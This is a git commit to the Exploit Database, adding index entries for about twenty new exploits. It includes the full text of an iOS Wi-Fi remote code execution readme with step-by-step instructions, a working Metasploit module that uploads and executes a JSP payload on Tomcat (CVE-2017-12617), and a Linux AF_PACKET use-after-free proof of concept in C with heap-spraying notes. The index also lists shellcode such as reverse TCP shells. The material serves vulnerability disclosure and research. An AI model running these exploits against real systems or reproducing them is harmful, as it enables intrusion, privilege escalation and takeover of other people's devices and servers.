DB: 2017-10-18

19 new exploits

Mozilla (Firefox 1.0.7) (Mozilla 1.7.12) - Denial of Service
Mozilla Firefox 1.0.7 (Mozilla 1.7.12) - Denial of Service
Microsoft Office Groove - 'Workspace Shortcut' Arbitrary Code Execution
Microsoft Excel - OLE Arbitrary Code Execution
Microsoft Windows 10 - WLDP/MSHTML CLSID UMCI Bypass
Microsoft Edge Chakra JIT - Incorrect GenerateBailOut Calling Patterns
Microsoft Edge Chakra - Accesses to Uninitialized Pointers in 'StackScriptFunction::BoxState::Box'
Microsoft Edge Chakra JIT - 'RegexHelper::StringReplace' Must Call the Callback Function with Updating ImplicitCallFlags
Microsoft Windows - 'nt!NtQueryObject (ObjectNameInformation)' Kernel Pool Memory Disclosure
Linux Kernel - 'AF_PACKET' Use-After-Free
shadowsocks-libev 3.1.0 - Command Execution
Shadowsocks - Log File Command Execution

ModSecurity - POST Parameters Security Bypass
ModSecurity - 'POST' Security Bypass
Apple iOS 10.2 (14C92) - Remote Code Execution
Tomcat - Remote Code Execution via JSP Upload Bypass (Metasploit)

Windows x64 - API Hooking Shellcode (117 bytes)

ALiCE-CMS 0.1 - (CONFIG[local_root]) Remote File Inclusion
ALiCE-CMS 0.1 - 'CONFIG[local_root]' Remote File Inclusion

PHPRecipeBook 2.35 - (g_rb_basedir) Remote File Inclusion
PHPRecipeBook 2.35 - 'g_rb_basedir' Remote File Inclusion

Brim 1.2.1 - (renderer) Multiple Remote File Inclusion
Brim 1.2.1 - 'renderer' Multiple Remote File Inclusion

GNUBoard 4.33.02 - 'tp.php' PATH_INFO SQL Injection
GNUBoard 4.33.02 - 'tp.php PATH_INFO' SQL Injection
3CX Phone System 15.5.3554.1 - Directory Traversal
OpenText Documentum Content Server - Privilege Escalation
OpenText Documentum Content Server - Arbitrary File Download Privilege Escalation
OpenText Documentum Content Server - dmr_content Privilege Escalation
OpenText Documentum Content Server - Arbitrary File Download
Apache Solr 7.0.1 - XML External Entity Expansion / Remote Code Execution
This commit is contained in:
Offensive Security 2017-10-18 05:01:30 +00:00
parent 461226bd00
commit 519f2f59ba
23 changed files with 2657 additions and 16 deletions

View file

@ -235,7 +235,7 @@ id,file,description,date,author,platform,type,port
1254,platforms/multiple/dos/1254.html,"Opera 8.02 - Remote Denial of Service (1)",2005-10-16,posidron,multiple,dos,0
1255,platforms/windows/dos/1255.html,"Opera 8.02 - Remote Denial of Service (2)",2005-10-16,posidron,windows,dos,0
1256,platforms/multiple/dos/1256.pl,"Lynx 2.8.6dev.13 - Remote Buffer Overflow (PoC)",2005-10-17,"Ulf Harnhammar",multiple,dos,0
1257,platforms/multiple/dos/1257.html,"Mozilla (Firefox 1.0.7) (Mozilla 1.7.12) - Denial of Service",2005-10-17,Kubbo,multiple,dos,0
1257,platforms/multiple/dos/1257.html,"Mozilla Firefox 1.0.7 (Mozilla 1.7.12) - Denial of Service",2005-10-17,Kubbo,multiple,dos,0
1266,platforms/windows/dos/1266.py,"Ethereal 0.9.1 < 0.10.12 SLIMP3 - Remote Buffer Overflow (PoC)",2005-10-20,Sowhat,windows,dos,0
1268,platforms/multiple/dos/1268.pl,"Net Portal Dynamic System 5.0 - (Register Users) Denial of Service",2005-10-21,DarkFig,multiple,dos,0
1269,platforms/windows/dos/1269.c,"Microsoft Windows Plug-and-Play - 'Umpnpmgr.dll' Denial of Service (MS05-047) (1)",2005-10-21,anonymous,windows,dos,0
@ -5706,6 +5706,14 @@ id,file,description,date,author,platform,type,port
42970,platforms/linux/dos/42970.txt,"binutils 2.29.51.20170921 - 'read_1_byte' Heap-Based Buffer Overflow",2017-10-10,"Agostino Sarubbo",linux,dos,0
42962,platforms/windows/dos/42962.py,"PyroBatchFTP 3.17 - Buffer Overflow (SEH)",2017-10-07,"Kevin McGuigan",windows,dos,0
42969,platforms/multiple/dos/42969.rb,"IBM Notes 8.5.x/9.0.x - Denial of Service (Metasploit)",2017-08-31,"Dhiraj Mishra",multiple,dos,0
42994,platforms/windows/dos/42994.txt,"Microsoft Office Groove - 'Workspace Shortcut' Arbitrary Code Execution",2017-09-28,"Eduardo Braun Prado",windows,dos,0
42995,platforms/windows/dos/42995.txt,"Microsoft Excel - OLE Arbitrary Code Execution",2017-09-30,"Eduardo Braun Prado",windows,dos,0
42997,platforms/windows/dos/42997.txt,"Microsoft Windows 10 - WLDP/MSHTML CLSID UMCI Bypass",2017-10-17,"Google Security Research",windows,dos,0
42998,platforms/windows/dos/42998.js,"Microsoft Edge Chakra JIT - Incorrect GenerateBailOut Calling Patterns",2017-10-17,"Google Security Research",windows,dos,0
42999,platforms/windows/dos/42999.js,"Microsoft Edge Chakra - Accesses to Uninitialized Pointers in 'StackScriptFunction::BoxState::Box'",2017-10-17,"Google Security Research",windows,dos,0
43000,platforms/windows/dos/43000.js,"Microsoft Edge Chakra JIT - 'RegexHelper::StringReplace' Must Call the Callback Function with Updating ImplicitCallFlags",2017-10-17,"Google Security Research",windows,dos,0
43001,platforms/windows/dos/43001.cpp,"Microsoft Windows - 'nt!NtQueryObject (ObjectNameInformation)' Kernel Pool Memory Disclosure",2017-10-17,"Google Security Research",windows,dos,0
43010,platforms/linux/dos/43010.c,"Linux Kernel - 'AF_PACKET' Use-After-Free",2017-10-17,SecuriTeam,linux,dos,0
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@ -9287,6 +9295,8 @@ id,file,description,date,author,platform,type,port
42960,platforms/win_x86-64/local/42960.txt,"Microsoft Windows 10 RS2 (x64) - 'win32kfull!bFill' Pool Overflow",2017-10-06,siberas,win_x86-64,local,0
42963,platforms/windows/local/42963.py,"ASX to MP3 converter < 3.1.3.7 - '.asx' Stack Overflow (DEP Bypass)",2017-10-08,"Nitesh Shilpkar",windows,local,0
42974,platforms/windows/local/42974.py,"ASX to MP3 3.1.3.7 - '.m3u' Buffer Overflow",2017-10-11,"Parichay Rai",windows,local,0
43006,platforms/linux/local/43006.txt,"shadowsocks-libev 3.1.0 - Command Execution",2017-10-17,"X41 D-Sec GmbH",linux,local,8839
43007,platforms/linux/local/43007.txt,"Shadowsocks - Log File Command Execution",2017-10-17,"X41 D-Sec GmbH",linux,local,0
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
5,platforms/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@ -15350,7 +15360,7 @@ id,file,description,date,author,platform,type,port
37731,platforms/windows/remote/37731.py,"PCMan FTP Server 2.0.7 - 'PUT' Command Buffer Overflow",2015-08-07,"Jay Turla",windows,remote,21
37746,platforms/windows/remote/37746.py,"Netsparker 2.3.x - Remote Code Execution",2015-08-09,"Hesam Bazvand",windows,remote,0
37947,platforms/multiple/remote/37947.txt,"Litespeed Web Server - 'gtitle' Parameter Cross-Site Scripting",2012-03-12,K1P0D,multiple,remote,0
37949,platforms/linux/remote/37949.txt,"ModSecurity - POST Parameters Security Bypass",2012-10-17,"Bernhard Mueller",linux,remote,0
37949,platforms/linux/remote/37949.txt,"ModSecurity - 'POST' Security Bypass",2012-10-17,"Bernhard Mueller",linux,remote,0
37951,platforms/windows/remote/37951.py,"Easy File Sharing Web Server 6.9 - USERID Remote Buffer Overflow",2015-08-24,"Tracy Turben",windows,remote,0
37788,platforms/linux/remote/37788.py,"libguac - Remote Buffer Overflow",2012-09-11,"Michael Jumper",linux,remote,0
37792,platforms/android/remote/37792.txt,"Google Chrome for Android - com.android.browser.application_id Intent Extra Data Cross-Site Scripting",2012-09-12,"Artem Chaykin",android,remote,0
@ -15902,6 +15912,8 @@ id,file,description,date,author,platform,type,port
42965,platforms/multiple/remote/42965.rb,"OrientDB 2.2.2 < 2.2.22 - Remote Code Execution (Metasploit)",2017-10-09,Metasploit,multiple,remote,2480
42973,platforms/windows/remote/42973.py,"VX Search Enterprise 10.1.12 - Buffer Overflow",2017-10-09,"Revnic Vasile",windows,remote,0
42984,platforms/windows/remote/42984.rb,"Sync Breeze Enterprise 10.1.16 - Buffer Overflow (SEH) (Metasploit)",2017-10-13,wetw0rk,windows,remote,0
42996,platforms/ios/remote/42996.txt,"Apple iOS 10.2 (14C92) - Remote Code Execution",2017-10-17,"Google Security Research",ios,remote,0
43008,platforms/java/remote/43008.rb,"Tomcat - Remote Code Execution via JSP Upload Bypass (Metasploit)",2017-10-17,Metasploit,java,remote,0
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
@ -16552,6 +16564,7 @@ id,file,description,date,author,platform,type,port
42647,platforms/arm/shellcode/42647.c,"Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (192.168.0.12:4444/TCP) Shellcode (160 bytes)",2017-09-10,"Andrea Sindoni",arm,shellcode,0
42791,platforms/lin_x86-64/shellcode/42791.c,"Linux/x86-64 - mkdir() 'evil' Shellcode (30 bytes)",2017-09-25,"Touhid M.Shaikh",lin_x86-64,shellcode,0
42977,platforms/lin_x86/shellcode/42977.c,"Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (30 bytes)",2017-10-12,"Manuel Mancera",lin_x86,shellcode,0
42992,platforms/win_x86-64/shellcode/42992.c,"Windows x64 - API Hooking Shellcode (117 bytes)",2017-10-16,"Roziul Hasan Khan Shifat",win_x86-64,shellcode,0
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
@ -17548,12 +17561,12 @@ id,file,description,date,author,platform,type,port
2577,platforms/php/webapps/2577.txt,"P-News 1.16 - Remote File Inclusion",2006-10-16,vegas78,php,webapps,0
2578,platforms/php/webapps/2578.txt,"PHPMyManga 0.8.1 - 'template.php' Multiple File Inclusion",2006-10-16,nuffsaid,php,webapps,0
2579,platforms/php/webapps/2579.pl,"WoltLab Burning Book 1.1.2 - SQL Injection (PoC)",2006-10-16,ShAnKaR,php,webapps,0
2582,platforms/php/webapps/2582.txt,"ALiCE-CMS 0.1 - (CONFIG[local_root]) Remote File Inclusion",2006-10-17,nuffsaid,php,webapps,0
2582,platforms/php/webapps/2582.txt,"ALiCE-CMS 0.1 - 'CONFIG[local_root]' Remote File Inclusion",2006-10-17,nuffsaid,php,webapps,0
2583,platforms/php/webapps/2583.php,"WSN Forum 1.3.4 - 'prestart.php' Remote Code Execution",2006-10-17,Kacper,php,webapps,0
2584,platforms/php/webapps/2584.pl,"PHPRecipeBook 2.35 - (g_rb_basedir) Remote File Inclusion",2006-10-17,r0ut3r,php,webapps,0
2584,platforms/php/webapps/2584.pl,"PHPRecipeBook 2.35 - 'g_rb_basedir' Remote File Inclusion",2006-10-17,r0ut3r,php,webapps,0
2585,platforms/php/webapps/2585.txt,"PHPmybibli 3.0.1 - Multiple Remote File Inclusion",2006-10-17,the_day,php,webapps,0
2588,platforms/php/webapps/2588.txt,"Easynews 4.4.1 - 'admin.php' Authentication Bypass",2006-10-17,nuffsaid,php,webapps,0
2589,platforms/php/webapps/2589.txt,"Brim 1.2.1 - (renderer) Multiple Remote File Inclusion",2006-10-17,mdx,php,webapps,0
2589,platforms/php/webapps/2589.txt,"Brim 1.2.1 - 'renderer' Multiple Remote File Inclusion",2006-10-17,mdx,php,webapps,0
2590,platforms/php/webapps/2590.txt,"PHPPowerCards 2.10 - 'txt.inc.php' Remote Code Execution",2006-10-18,nuffsaid,php,webapps,0
2591,platforms/php/webapps/2591.txt,"PHP AMX 0.90 - 'plugins/main.php' Remote File Inclusion",2006-10-18,MP,php,webapps,0
2592,platforms/asp/webapps/2592.htm,"Active Bulletin Board 1.1b2 - Remote User Pass Change Exploit",2006-10-18,ajann,asp,webapps,0
@ -25781,7 +25794,7 @@ id,file,description,date,author,platform,type,port
17987,platforms/php/webapps/17987.txt,"WordPress Plugin BackWPUp 2.1.4 - Code Execution",2011-10-17,"Sense of Security",php,webapps,0
17994,platforms/php/webapps/17994.php,"Dolphin 7.0.7 - 'member_menu_queries.php' Remote PHP Code Injection",2011-10-18,EgiX,php,webapps,0
17989,platforms/php/webapps/17989.txt,"Dominant Creature BBG/RPG Browser Game - Persistent Cross-Site Scripting",2011-10-17,M.Jock3R,php,webapps,0
17992,platforms/php/webapps/17992.txt,"GNUBoard 4.33.02 - 'tp.php' PATH_INFO SQL Injection",2011-10-17,flyh4t,php,webapps,0
17992,platforms/php/webapps/17992.txt,"GNUBoard 4.33.02 - 'tp.php PATH_INFO' SQL Injection",2011-10-17,flyh4t,php,webapps,0
17995,platforms/php/webapps/17995.txt,"Joomla! Plugin NoNumber Framework - Multiple Vulnerabilities",2011-10-18,jdc,php,webapps,0
17997,platforms/php/webapps/17997.txt,"Yet Another CMS 1.0 - SQL Injection / Cross-Site Scripting",2011-10-19,"Stefan Schurtz",php,webapps,0
17998,platforms/php/webapps/17998.txt,"Openemr-4.1.0 - SQL Injection",2011-10-19,"I2sec-dae jin Oh",php,webapps,0
@ -38686,3 +38699,9 @@ id,file,description,date,author,platform,type,port
42987,platforms/php/webapps/42987.txt,"phpMyFAQ 2.9.8 - Cross-Site Scripting",2017-10-13,"Ishaq Mohammed",php,webapps,0
42988,platforms/php/webapps/42988.txt,"AlienVault Unified Security Management (USM) 5.4.2 - Cross-Site Request Forgery",2017-10-13,"Julien Ahrens",php,webapps,0
42989,platforms/cgi/webapps/42989.txt,"Webmin 1.850 - Multiple Vulnerabilities",2017-10-15,hyp3rlinx,cgi,webapps,0
42991,platforms/linux/webapps/42991.txt,"3CX Phone System 15.5.3554.1 - Directory Traversal",2017-10-16,"Jens Regel",linux,webapps,0
43002,platforms/multiple/webapps/43002.py,"OpenText Documentum Content Server - Privilege Escalation",2017-10-17,"Andrey B. Panfilov",multiple,webapps,0
43003,platforms/multiple/webapps/43003.py,"OpenText Documentum Content Server - Arbitrary File Download Privilege Escalation",2017-10-17,"Andrey B. Panfilov",multiple,webapps,0
43004,platforms/multiple/webapps/43004.py,"OpenText Documentum Content Server - dmr_content Privilege Escalation",2017-10-17,"Andrey B. Panfilov",multiple,webapps,0
43005,platforms/multiple/webapps/43005.py,"OpenText Documentum Content Server - Arbitrary File Download",2017-10-17,"Andrey B. Panfilov",multiple,webapps,0
43009,platforms/xml/webapps/43009.txt,"Apache Solr 7.0.1 - XML External Entity Expansion / Remote Code Execution",2017-10-17,"Michael Stepankin and Olga Barinova",xml,webapps,0

Can't render this file because it is too large.

36
platforms/ios/remote/42996.txt Executable file
View file

@ -0,0 +1,36 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1317#c3
The exploit achieves R/W access to the host's physical memory.
This exploit has been tested on the iPhone 7, iOS 10.2 (14C92). To run the exploit against different devices or versions, the symbols must be adjusted.
The attached archive contains the following directories:
-hostapd-2.6 - A modified version of hostapd utilised in the exploit. This version of hostapd is configured to
support 802.11k RRM, and in particular Neighbor Reports. Moreover, this version of hostapd is
instrumented to add various commands, allowing injection and reception of crafted action frames
used throughout the exploit.
-OneRing - The exploit itself.
To run the exploit, you must execute the following steps:
-Connect (and enable) a SoftMAC Wi-Fi dongle to your machine (such as the TL-WN722N)
-Compile the provided version of hostapd
-Modify the "interface" setting under "hostapd-2.6/hostapd/hostapd.conf" to match your interface's name
-Configure the following settings under "OneRing/rrm_exploit/conf.py":
-HOSTAPD_DIR - The directory of the hostapd binary compiled above
-TARGET_MAC - The MAC address of the device being exploited
-AP_MAC - The MAC address of your wireless dongle
-INTERFACE - The name of the wireless dongle's interface
-Configure the following settings under "OneRing/conf.py":
-TARGET_MAC - The MAC address of the device being exploited
-TARGET_IP - The IP address of the device being exploited
-Assemble the backdoor shellcode by running "OneRing/rrm_exploit/assemble_backdoor.sh"
-Assemble each of the code chunks under "OneRing/code_chunks" by running "compile.sh"
-Run hostapd with the configuration file provided above, broadcasting a Wi-Fi network ("test80211k")
-Connect the target device to the network
-Run "OneRing/attack.py"
Following the steps above should result in DART's descriptor being mapped into IO-Space, allowing R/W access to the host's physical memory. You can utilise this R/W access by calling the "read_host_dword" and "write_host_dword" functions, respectively.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42996.zip

111
platforms/java/remote/43008.rb Executable file
View file

@ -0,0 +1,111 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tomcat RCE via JSP Upload Bypass',
'Description' => %q{
This module uploads a jsp payload and executes it.
},
'Author' => 'peewpw',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-12617' ],
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]
],
'Privileged' => false,
'Platform' => %w{ linux win }, # others?
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[ 'Java Windows',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[ 'Java Linux',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Oct 03 2017',
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),
Opt::RPORT(8080)
])
end
def check
testurl = Rex::Text::rand_text_alpha(10)
testcontent = Rex::Text::rand_text_alpha(10)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => "<% out.println(\"#{testcontent}\");%>"
})
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})
if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'DELETE'
},
timeout = 1
)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Uploading payload...")
testurl = Rex::Text::rand_text_alpha(10)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => payload.encoded
})
if res && res.code == 201
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})
if res1 && res1.code == 200
print_status("Payload executed!")
else
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
end
else
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
end
end
end

303
platforms/linux/dos/43010.c Executable file
View file

@ -0,0 +1,303 @@
/*
Source: https://blogs.securiteam.com/index.php/archives/3484
Vulnerabilities summary
The following advisory describes a use-after-free vulnerability found in Linux Kernels implementation of AF_PACKET that can lead to privilege escalation.
AF_PACKET sockets allow users to send or receive packets on the device driver level. This for example lets them to implement their own protocol on top of the physical layer or to sniff packets including Ethernet and higher levels protocol headers
Credit
The vulnerability was discovered by an independent security researcher which reported this vulnerabilities to Beyond Securitys SecuriTeam Secure Disclosure program.
Vendor response
It is quite likely that this is already fixed by:
packet: hold bind lock when rebinding to fanout hook http://patchwork.ozlabs.org/patch/813945/
Also relevant, but not yet merged is
packet: in packet_do_bind, test fanout with bind_lock held http://patchwork.ozlabs.org/patch/818726/
We verified that this does not trigger on v4.14-rc2, but does trigger when reverting that first mentioned commit (008ba2a13f2d).
Vulnerabilities details
This use-after-free is due to a race condition between fanout_add (from setsockopt) and bind on a AF_PACKET socket.
The race will cause __unregister_prot_hook() from packet_do_bind() to set po->running to 0 even though a packet_fanout has been created from fanout_add().
This allows us to bypass the check in unregister_prot_hook() from packet_release() effectively causing the packet_fanout to be released and still being referenced from the packet_type linked list.
Crash Proof of Concept
*/
// Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel.
// the kernel config is provided too.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <fcntl.h>
#define IS_ERR(c, s) { if (c) perror(s); }
struct sockaddr_ll {
unsigned short sll_family;
short sll_protocol; // big endian
int sll_ifindex;
unsigned short sll_hatype;
unsigned char sll_pkttype;
unsigned char sll_halen;
unsigned char sll_addr[8];
};
static int fd;
static struct ifreq ifr;
static struct sockaddr_ll addr;
void *task1(void *unused)
{
int fanout_val = 0x3;
// need race: check on po->running
// also must be 1st or link wont register
int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val));
// IS_ERR(err == -1, "setsockopt");
}
void *task2(void *unused)
{
int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
// IS_ERR(err == -1, "bind");
}
void loop_race()
{
int err, index;
while(1) {
fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
IS_ERR(fd == -1, "socket");
strcpy((char *)&ifr.ifr_name, "lo");
err = ioctl(fd, SIOCGIFINDEX, &ifr);
IS_ERR(err == -1, "ioctl SIOCGIFINDEX");
index = ifr.ifr_ifindex;
err = ioctl(fd, SIOCGIFFLAGS, &ifr);
IS_ERR(err == -1, "ioctl SIOCGIFFLAGS");
ifr.ifr_flags &= ~(short)IFF_UP;
err = ioctl(fd, SIOCSIFFLAGS, &ifr);
IS_ERR(err == -1, "ioctl SIOCSIFFLAGS");
addr.sll_family = AF_PACKET;
addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook
addr.sll_ifindex = index;
pthread_t thread1, thread2;
pthread_create (&thread1, NULL, task1, NULL);
pthread_create (&thread2, NULL, task2, NULL);
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
// UAF
close(fd);
}
}
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
}
int main(int argc, char *argv[])
{
setup_sandbox();
system("id; capsh --print");
loop_race();
return 0;
}
/*
Crash report
[ 73.703931] dev_remove_pack: ffff880067cee280 not found
[ 73.717350] ==================================================================
[ 73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0
[ 73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175
[ 73.732594]
[ 73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29
[ 73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
[ 73.746433] Call Trace:
[ 73.747985] dump_stack+0x6c/0x9c
[ 73.749410] ? dev_add_pack+0x1b1/0x1f0
[ 73.751622] print_address_description+0x73/0x290
[ 73.753646] ? dev_add_pack+0x1b1/0x1f0
[ 73.757343] kasan_report+0x22b/0x340
[ 73.758839] __asan_report_store8_noabort+0x17/0x20
[ 73.760617] dev_add_pack+0x1b1/0x1f0
[ 73.761994] register_prot_hook.part.52+0x90/0xa0
[ 73.763675] packet_create+0x5e3/0x8c0
[ 73.765072] __sock_create+0x1d0/0x440
[ 73.766030] SyS_socket+0xef/0x1b0
[ 73.766891] ? move_addr_to_kernel+0x60/0x60
[ 73.769137] ? exit_to_usermode_loop+0x118/0x150
[ 73.771668] entry_SYSCALL_64_fastpath+0x13/0x94
[ 73.773754] RIP: 0033:0x44d8a7
[ 73.775130] RSP: 002b:00007ffc4e642818 EFLAGS: 00000217 ORIG_RAX: 0000000000000029
[ 73.780503] RAX: ffffffffffffffda RBX: 00000000004002f8 RCX: 000000000044d8a7
[ 73.785654] RDX: 0000000000000011 RSI: 0000000000000003 RDI: 0000000000000011
[ 73.790358] RBP: 00007ffc4e642840 R08: 00000000000000ca R09: 00007f4192e6e9d0
[ 73.793544] R10: 0000000000000000 R11: 0000000000000217 R12: 000000000040b410
[ 73.795999] R13: 000000000040b4a0 R14: 0000000000000000 R15: 0000000000000000
[ 73.798567]
[ 73.799095] Allocated by task 1360:
[ 73.800300] save_stack_trace+0x16/0x20
[ 73.802533] save_stack+0x46/0xd0
[ 73.803959] kasan_kmalloc+0xad/0xe0
[ 73.805833] kmem_cache_alloc_trace+0xd7/0x190
[ 73.808233] packet_setsockopt+0x1d29/0x25c0
[ 73.810226] SyS_setsockopt+0x158/0x240
[ 73.811957] entry_SYSCALL_64_fastpath+0x13/0x94
[ 73.814636]
[ 73.815367] Freed by task 1175:
[ 73.816935] save_stack_trace+0x16/0x20
[ 73.821621] save_stack+0x46/0xd0
[ 73.825576] kasan_slab_free+0x72/0xc0
[ 73.827477] kfree+0x91/0x190
[ 73.828523] packet_release+0x700/0xbd0
[ 73.830162] sock_release+0x8d/0x1d0
[ 73.831612] sock_close+0x16/0x20
[ 73.832906] __fput+0x276/0x6d0
[ 73.834730] ____fput+0x15/0x20
[ 73.835998] task_work_run+0x121/0x190
[ 73.837564] exit_to_usermode_loop+0x131/0x150
[ 73.838709] syscall_return_slowpath+0x15c/0x1a0
[ 73.840403] entry_SYSCALL_64_fastpath+0x92/0x94
[ 73.842343]
[ 73.842765] The buggy address belongs to the object at ffff880067d28000
[ 73.842765] which belongs to the cache kmalloc-4096 of size 4096
[ 73.845897] The buggy address is located 2160 bytes inside of
[ 73.845897] 4096-byte region [ffff880067d28000, ffff880067d29000)
[ 73.851443] The buggy address belongs to the page:
[ 73.852989] page:ffffea00019f4a00 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0
[ 73.861329] flags: 0x100000000008100(slab|head)
[ 73.862992] raw: 0100000000008100 0000000000000000 0000000000000000 0000000180070007
[ 73.866052] raw: dead000000000100 dead000000000200 ffff88006cc02f00 0000000000000000
[ 73.870617] page dumped because: kasan: bad access detected
[ 73.872456]
[ 73.872851] Memory state around the buggy address:
[ 73.874057] ffff880067d28700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.876931] ffff880067d28780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.878913] >ffff880067d28800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.880658] ^
[ 73.884772] ffff880067d28880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.890978] ffff880067d28900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 73.897763] ==================================================================
We know that the freed object is a kmalloc-4096 object:
```
struct packet_fanout {
possible_net_t net;
unsigned int num_members;
u16 id;
u8 type;
u8 flags;
union {
atomic_t rr_cur;
struct bpf_prog __rcu *bpf_prog;
};
struct list_head list;
struct sock *arr[PACKET_FANOUT_MAX];
spinlock_t lock;
refcount_t sk_ref;
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
```
and that its prot_hook member is the one being referenced in the packet handler when registered via dev_add_pack() from register_prot_hook() inside af_packet.c:
```
struct packet_type {
__be16 type; // This is really htons(ether_type).
struct net_device *dev; // NULL is wildcarded here
int (*func) (struct sk_buff *,
struct net_device *,
struct packet_type *,
struct net_device *);
bool (*id_match)(struct packet_type *ptype,
struct sock *sk);
void *af_packet_priv;
struct list_head list;
};
```
The function pointers inside of struct packet_type, and the fact it is in a big slab (kmalloc-4096) makes heap spraying easier and more reliable as bigger slabs are less often used by the kernel.
We can use usual kernel heap spraying to replace the content of the freed packet_fanout object by using for example sendmmsg() or any other mean.
